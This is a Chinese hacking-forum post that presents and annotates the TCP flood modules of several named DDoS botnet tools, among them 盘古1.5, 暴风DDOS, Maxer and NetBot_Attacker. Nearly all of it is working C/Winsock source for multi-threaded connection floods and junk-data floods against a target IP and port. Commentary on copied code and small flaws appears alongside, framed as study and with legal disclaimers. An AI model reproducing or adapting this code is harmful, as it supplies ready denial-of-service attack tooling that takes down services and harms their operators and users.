HanDs
NO.2

[Visual Studio文章] 攻击模块分析-TCP篇 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

分析者:alalmn—飞龙       BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
TCP攻击主要分为2种

1.TCP并发连接攻击

2.TCP发送垃圾数据攻击

//=================================================================================

冷风的.h

unsigned long CALLBACK connect_break(LPVOID dParam) //TCP攻击
{
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
while(!StopDDosAttack)   //判断是否处在攻击状态
{
   m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
   memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
   sockAddr.sin_family = AF_INET;   //指代协议族,在socket编程中只能是AF_INET
   sockAddr.sin_port=htons(DdosPort); //存储端口号(使用网络字节顺序)
   sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl);   //存储IP地址,使用in_addr这个数据结构

   if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
   {
    Sleep(100); //暂停(毫秒)
    continue; //结束本次循环
   }
   closesocket(m_hSocket);   //关闭socket
   Sleep(100); //暂停(毫秒)
}
return 1;
}

//=================================================================================

教主网络僵尸.h

for(int i = 0; i < 9000; i++)     //循环链接9000次 每次0.5秒
{
CreateThread(NULL, 0, ThreadTCPProc, (LPVOID)(SYN_DEST_PARA*)destpara,0,&uiThreadID); //TCP攻击 TCP多连接
} //创建线程     NULL结构指针 0线程的初始堆栈大小 ThreadTCPProc线程函数指针 (LPVOID)(SYN_DEST_PARA*)destpara共享数据 0标记 &uiThreadID执行变量
//===============================================================
//tcp攻击部分
DWORD WINAPI ThreadTCPProc(LPVOID lpParam) //TCP攻击 TCP多连接
{
SYN_DEST_PARA *destpara = (SYN_DEST_PARA *)lpParam; //SYN_DEST_PARA是自定义的攻击结构
char c_strHost[50];
memset(c_strHost, 0, 50); //内存空间初始化
sprintf(c_strHost, "%s", destpara->IP);    //攻击IP
int nPort = atoi(destpara->port);          //攻击端口
while(1)
{
   if(bStopFlag) //真为没攻击   假为攻击了
   {
    break;
   }

   CWSocket m_wskClient;
   int m_bConnected = m_wskClient.Connection(c_strHost, nPort);
                                //连接       IP         端口
   Sleep(500); //延时500毫秒
}
return 0;
}

//=================================================================================

盘古1.5.h

////////////////////////////////////////////////////////////////////////////////////////////
///////////////tcp攻击开始
void tcp_flood() //TCP攻击
{
WSADATA               WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
int nSize = strlen(icmpBuffer); //发送的内容

memset(&sockAddr,0,sizeof(sockAddr));   //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if ((sockAddr.sin_addr.s_addr = inet_addr(tgtIP)) == INADDR_NONE)
   //inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE
{
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(tgtIP)) != NULL)
    //gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
   {
    memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length); //复制内存
    //hp->h_length表示的是主机ip地址的长度
    sockAddr.sin_family = hp->h_addrtype;
    //hp->h_addrtype主机ip地址的类型是ipv4(AF_INET)还是ipv6(AF_INET6)
   }
   else
    return;
}
for(;;) //死循环 这是想整死人家啊写个死循环!!!!
{
   if (StopFlag == 1) //StopFlag= 1; 表示没有在攻击
   {
    ExitThread(1); //结束一个线程
    return;
   }

   m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
   if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
    continue;   //结束本次循环
   for(int a=0;a<10240;a++)
   {
    if (send(m_hSocket,icmpBuffer,nSize,0) ==SOCKET_ERROR) //发送消息 看是否发送成功
     break;   //关闭循环
   }
   Sleep(SleepTime);   //暂停(毫秒)
   //这好像少了一句关闭套接字
}
return;
}

//=================================================================================

暴风DDOS.h

void tcp_flood()   //攻击   攻击这块代码使用的是盘古1.5代码没变自己对比着看吧
{
WSADATA               WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
int nSize = strlen(icmpBuffer);

memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(tgtPort);
sockAddr.sin_addr.s_addr = inet_addr(tgtIP);
if ((sockAddr.sin_addr.s_addr = inet_addr(tgtIP)) == INADDR_NONE)
{
   struct hostent *hp = NULL;
   if ((hp = gethostbyname(tgtIP)) != NULL)
   {
    memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length);
   sockAddr.sin_family = hp->h_addrtype;
   }
   else
    return;
}
for(;;)
{
   if (StopFlag == 1)
   {
    ExitThread(1);
    return;
   }

   m_hSocket = socket(PF_INET,SOCK_STREAM,0);
   if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)
    continue;
   for(int a=0;a<10240;a++)
   {
    if (send(m_hSocket,icmpBuffer,nSize,0) ==SOCKET_ERROR)
     break;
   }
   Sleep(SleepTime);
}
return;
}
/*--------------------------------------------------------------------------------------*/
void StartTCP(char ip[30],int port,int time,int xc)
{            //IP         端口     时间     线程

   if (inet_addr(ip)== INADDR_NONE)
    //inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
   {
    struct hostent *hp = NULL; //hostent IP信息结构体
    if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息
    {
     in_addr in; //IP地址转换位一个in_addr结构的地址
     memcpy(&in, hp->h_addr, hp->h_length); //复制内存
     //hp->h_length地址的比特长度
     strcpy(tgtIP,inet_ntoa(in)); //复制数据
    }
   }
   else
    strcpy(tgtIP,ip);   //复制数据


   port=tgtPort;   //端口
   time=timeout;   //时间
   //把这些数据赋值给一个全局变量 在攻击的时候好使用 这样是不是有点麻烦啊


   if (StopFlag == -1) //这点应该查看是否在攻击状态
    return;

   StopFlag=-1; //进入攻击状态

   for(i=0;i<xc;i++) //循环创建线程
   {
    h[i]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)tcp_flood, NULL, 0, NULL); //具体攻击
   }
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}

//=================================================================================

Maxer.h

//Maxer ddos 压力测试测试 Beta2.5无限制版 Build 090420
//服务端可以看出使用的还是盘古1.5的代码
//攻击这块还是不一样的我们来分析下


//TCP攻击
DWORD WINAPI TcpFlood(LPVOID dParam)
{
PDDOSINFO pddosinfo = (PDDOSINFO)dParam;   //攻击结构体
DDOSINFO ddosinfo;   //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存


char senddata[10]={0}; //发送的攻击内容
int sendsize=10;
memset(senddata,'D',10);//内存空间初始化

WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本

SOCKADDR_IN tcpaddr;//IP信息结构

tcpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
    tcpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//ip地址
    tcpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_STREAM,0);//创建socket

//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
          //接口的描述字 定义的层次 指定发送缓冲区大小 指向存放选项值的缓冲区   缓冲区的长度

while(1) //死循环
{
   if(IsStop==1) //判断攻击状态
   {
    ExitThread(0); //结束线程
    return 0;
   }
   for(int a=0;a<12;a++)
   {
    if(connect(s,(SOCKADDR *)&tcpaddr,sizeof(tcpaddr))!=SOCKET_ERROR) //连接并 查看是否可以连接
     send(s,senddata,sendsize,0);//发送消息
    else
     continue; //结束本次循环
   }
   
   Sleep(20);   //暂停(毫秒)
}

}

//=================================================================================

NetBot_Attacker.h

case 6://tcp flood   TCP攻击
for (a=0;a<fuckweb.thread;a++) //循环创建线程
{
   ::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
}
break;
//--------------------------------------------------------------------
int SEU_Rand(int ran)//自定义的随机数发生器
{
   unsigned long Time=GetTickCount(); ////获取毫秒级数目
   int seed=rand()+3; //产生个随机数+3
   seed=(seed*Time)%ran;
   return seed;
}

unsigned long CALLBACK TCP_flood(LPVOID dParam)
{
   WSADATA               WSAData;   //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
   WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
   SOCKADDR_IN sockAddr; //IP信息结构
   SOCKET m_hSocket; //套接字
   int nSent,firstrun;
   char senddata1[152],senddata2[128];
   char abc[]="?/">abcdefghijklmnopqrstuvwxyz@$%^&*<>?/|}{+-="; //发送的内容

   memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
   sockAddr.sin_family = AF_INET;   //指代协议族,在socket编程中只能是AF_INET
   sockAddr.sin_port=htons(fuckweb.FuckPort);   //存储端口号(使用网络字节顺序)
   sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);   //存储IP地址,使用in_addr这个数据结构

   while(!stopfuck)   //判断是否处在攻击状态
   {
    m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket

    if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr))==SOCKET_ERROR)   //连接并 查看是否可以连接
    {                                           //SOCKET_ERROR链接错误
     closesocket(m_hSocket); //关闭socket
     return 1; //返回
    }

    for(int a=0;a<65000;a++)
    {
     memset(senddata1,0,152); //内存初始化
     memset(senddata2,0,128); //内存初始化
     do
     {
      firstrun=SEU_Rand(120);/*SEU_Rand()在worm.h中定义了*/ //SEU_Rand(int ran)//自定义的随机数发生器
     } while(firstrun<20); //循环20次

     for(int i=0;i<firstrun;i++)
     {
      senddata2[i]=abc[SEU_Rand(42)]; //SEU_Rand(int ran)//自定义的随机数发生器
     }
     sprintf( senddata1, "#%d<<<<<[email protected]<<<<<%s!",a%10, senddata2); //字串格式化
     nSent = send(m_hSocket,senddata1,strlen(senddata1),0); //发送消息
     //IP结构体 要发送数据的缓冲区 要发送的数据的字节数   一般置0
     if(nSent == SOCKET_ERROR) //看是否发送成功
      break; //关闭循环
     Sleep(40);   //暂停(毫秒)
    }
    closesocket(m_hSocket); //关闭socket
   }

   return 1;
}


//==========================================================
//TCP多连接 并发连接
case 5://tcp mutlconnect
for (a=0;a<fuckweb.thread;a++)
{
   ::CreateThread(NULL,0,connect_break,NULL,0,NULL); //单次攻击
}
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);    //多次攻击
break;

//------
unsigned long CALLBACK connect_break(LPVOID dParam)
{
   WSADATA               WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
   WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
   SOCKADDR_IN sockAddr;//IP信息结构
   SOCKET m_hSocket;//套接字

   memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
   sockAddr.sin_family = AF_INET;//sin_family 地址家族(必须是AF_INET)
   sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号(使用网络字节顺序)
   sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //ip地址
   while(!stopfuck) //判断是否处在攻击状态
   {
    m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket

    connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)); //连接
    Sleep(40); //暂停(毫秒)
    closesocket(m_hSocket); //关闭套接字
   }
   return 1;
}
//------
unsigned long CALLBACK TCP_connect(LPVOID dParam)
{
   WSADATA               WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
   WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
   SOCKADDR_IN sockAddr; //IP信息结构
   SOCKET m_hSocket[200]; //套接字

   for (int i=0;i<200;i++)
   {
    m_hSocket[i] = socket(PF_INET,SOCK_STREAM,0);   //创建socket
    connect(m_hSocket[i],(SOCKADDR*)&sockAddr, sizeof(sockAddr)); //连接并 查看是否可以连接
    Sleep(10);   //暂停(毫秒)
   }
   while(!stopfuck) //判断是否处在攻击状态
   {
    for (int i=0;i<200;i++)
    {
     closesocket(m_hSocket[i]); // 关闭套接字
    }
    Sleep(40);   //暂停(毫秒)
   }
   return 1;
}

//=================================================================================

暴风DDOSVIP2010-225.h

//这个不是暴风写的暴风早就没更新了
void tcpattack() //TCP数据包攻击
{
WSADATA               WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字

srand((unsigned)time( NULL ));
//srand随机数函数   time时间
int tcprand=rand()%512+1; ////产生个随机数 这个地方应该是学NetBot_Attacker的呵呵
char tcpbuffer[256]; //攻击数据
memset(tcpbuffer,tcprand,256);   //内存空间初始化

int nSize = 256;

memset(&sockAddr,0,sizeof(sockAddr));   //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址

for(;;) //死循环
{
   if (StopFlag == 1) //是否处在攻击状态
   {
    ExitThread(1);
    return;
   }

   m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
   if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
    continue;   //结束本次循环
   for(int a=0;a<10240;a++)
   {
    if (send(m_hSocket,tcpbuffer,nSize,0) ==SOCKET_ERROR) //发送消息 看是否发送成功
     break; //关闭循环
   }
   Sleep(SleepTime);   //暂停(毫秒) SleepTime呵呵名字都没变应该是抄袭盘古1.5   还是有点创新的加入了产生个随机数 这个呵呵
}
WSACleanup(); //中止Windows Sockets DLL的使用    这样好像比结束socket好用啊呵呵
return;
}
/*--------------------------------------------------------------------------------------*/
void StartTCP(char ip[30],int port,int mytime,int xc)
{

   if (inet_addr(ip)== INADDR_NONE)
    //inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
   {
    struct hostent *hp = NULL; //hostent IP信息结构体
    if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址   != NULL不等于空
    {
     in_addr in;
     memcpy(&in, hp->h_addr, hp->h_length); //复制内存
     strcpy(tgtIP,inet_ntoa(in)); //拷贝
    }
   }
   else
    strcpy(tgtIP,ip); //复制数据


   port=tgtPort; //端口
   timeout=mytime; //时间
   if (StopFlag == -1) //这点应该查看是否在攻击状态
    return;

   StopFlag=-1; //进入攻击状态

   for(z=0;z<xc;z++)
   {
    h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)tcpattack, NULL, 0, NULL);   //具体攻击
   }
   if(timeout!=0)
   {
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
   }
}
/*---------------------------------------------------------------------------------*/
void xpattack() //TCP并发连接攻击
{
WSADATA               WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字

int nSize = 256;

memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址

for(;;) //死循环
{
   if (StopFlag == 1)//是否在攻击
   {
    ExitThread(1);//结束一个线程
    return;
   }

   m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket

   for(int ss=0;ss<1024;ss++)
   {
    if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
     continue;   //结束本次循环
    closesocket(m_hSocket); //结束socket
   }
   Sleep(SleepTime); //暂停(毫秒)
}
WSACleanup(); //中止Windows Sockets DLL的使用
return;
}
/*--------------------------------------------------------------------------------------*/
void StartXP(char ip[30],int port,int mytime,int xc)   //tcp connect(流量)
{

   if (inet_addr(ip)== INADDR_NONE)
   {//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
    struct hostent *hp = NULL; //hostent IP信息结构体
    if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息
    {
     in_addr in; //IP地址转换位一个in_addr结构的地址
     memcpy(&in, hp->h_addr, hp->h_length); //复制内存
     strcpy(tgtIP,inet_ntoa(in));   //复制数据
    }
   }
   else
    strcpy(tgtIP,ip);   //复制数据


   port=tgtPort;   //端口
   timeout=mytime;   //时间
   if (StopFlag == -1) //这点应该查看是否在攻击状态
    return;

   StopFlag=-1; //进入攻击状态

   for(z=0;z<xc;z++) //循环创建线程
   {
    h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)xpattack, NULL, 0, NULL); //具体攻击
   }
   if(SleepTime!=0)
   {
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
   }
}

//=================================================================================

盘古DDOS优化版.h

///TCP
void tcpflood()
{
WSADATA WSAData;   //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字

memset(&sockAddr,0,sizeof(sockAddr));   //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtport); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtip); //inet_addr将ip地址转换成网络地址
if ((sockAddr.sin_addr.s_addr = inet_addr(tgtip)) == INADDR_NONE) //inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE
{
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(tgtip)) != NULL) //gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
   {
    memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length); //复制内存
   sockAddr.sin_family = hp->h_addrtype;//hp->h_addrtype主机ip地址的类型是ipv4(AF_INET)还是ipv6(AF_INET6)
   }
   else
    return;
}
for(;;) //死循环 这是想整死人家啊写个死循环!!!!
{
   if (Stop == 1) //StopFlag= 1; 表示没有在攻击
   {
    ExitThread(1);
    return;
   }

   m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
   if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
    continue;
   for(int a=0;a<1024;a++)
   {
    if (send(m_hSocket,"aaaaaa",6,0) ==SOCKET_ERROR) //发送消息 看是否发送成功
     break;
   }
   Sleep(20); //暂停(毫秒)
   //这好像少了一句关闭套接字
}
return;
}


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
攻击 模块 分析 - TC P
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组